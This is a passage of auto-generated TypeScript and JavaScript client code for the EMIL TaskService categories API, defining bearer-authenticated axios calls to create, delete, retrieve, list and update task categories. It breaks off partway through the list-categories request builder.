| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory: (code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * CategoriesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const CategoriesApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory(createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateCategoryResponseClass>>; | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>; | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetCategoryResponseClass>>; | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListCategoriesResponseClass>>; | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory(code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchCategoryResponseClass>>; | ||
| }; | ||
| /** | ||
| * CategoriesApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const CategoriesApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory(createCategoryRequestDto: CreateCategoryRequestDto, authorization?: string, options?: any): AxiosPromise<CreateCategoryResponseClass>; | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory(code: string, authorization?: string, options?: any): AxiosPromise<void>; | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetCategoryResponseClass>; | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListCategoriesResponseClass>; | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory(code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options?: any): AxiosPromise<PatchCategoryResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for createCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiCreateCategoryRequest | ||
| */ | ||
| export interface CategoriesApiCreateCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {CreateCategoryRequestDto} | ||
| * @memberof CategoriesApiCreateCategory | ||
| */ | ||
| readonly createCategoryRequestDto: CreateCategoryRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiCreateCategory | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for deleteCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiDeleteCategoryRequest | ||
| */ | ||
| export interface CategoriesApiDeleteCategoryRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof CategoriesApiDeleteCategory | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiDeleteCategory | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for getCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiGetCategoryRequest | ||
| */ | ||
| export interface CategoriesApiGetCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * Expand to fetch additional information about the category. | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly expand?: string; | ||
| } | ||
| /** | ||
| * Request parameters for listCategories operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiListCategoriesRequest | ||
| */ | ||
| export interface CategoriesApiListCategoriesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly pageSize?: number; | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly pageToken?: string; | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly filter?: string; | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly search?: string; | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly order?: string; | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly expand?: string; | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly filters?: string; | ||
| } | ||
| /** | ||
| * Request parameters for patchCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiPatchCategoryRequest | ||
| */ | ||
| export interface CategoriesApiPatchCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * | ||
| * @type {PatchCategoryRequestDto} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly patchCategoryRequestDto: PatchCategoryRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * CategoriesApi - object-oriented interface | ||
| * @export | ||
| * @class CategoriesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class CategoriesApi extends BaseAPI { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CategoriesApiCreateCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| createCategory(requestParameters: CategoriesApiCreateCategoryRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateCategoryResponseClass, any, {}>>; | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {CategoriesApiDeleteCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| deleteCategory(requestParameters: CategoriesApiDeleteCategoryRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>; | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {CategoriesApiGetCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| getCategory(requestParameters: CategoriesApiGetCategoryRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetCategoryResponseClass, any, {}>>; | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {CategoriesApiListCategoriesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| listCategories(requestParameters?: CategoriesApiListCategoriesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListCategoriesResponseClass, any, {}>>; | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {CategoriesApiPatchCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| patchCategory(requestParameters: CategoriesApiPatchCategoryRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<PatchCategoryResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.CategoriesApi = exports.CategoriesApiFactory = exports.CategoriesApiFp = exports.CategoriesApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * CategoriesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var CategoriesApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory: function (createCategoryRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'createCategoryRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('createCategory', 'createCategoryRequestDto', createCategoryRequestDto); | ||
| localVarPath = "/taskservice/v1/categories"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createCategoryRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory: function (code, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('deleteCategory', 'code', code); | ||
| localVarPath = "/taskservice/v1/categories/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'DELETE' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory: function (code, authorization, expand, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('getCategory', 'code', code); | ||
| localVarPath = "/taskservice/v1/categories/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| localVarPath = "/taskservice/v1/categories"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
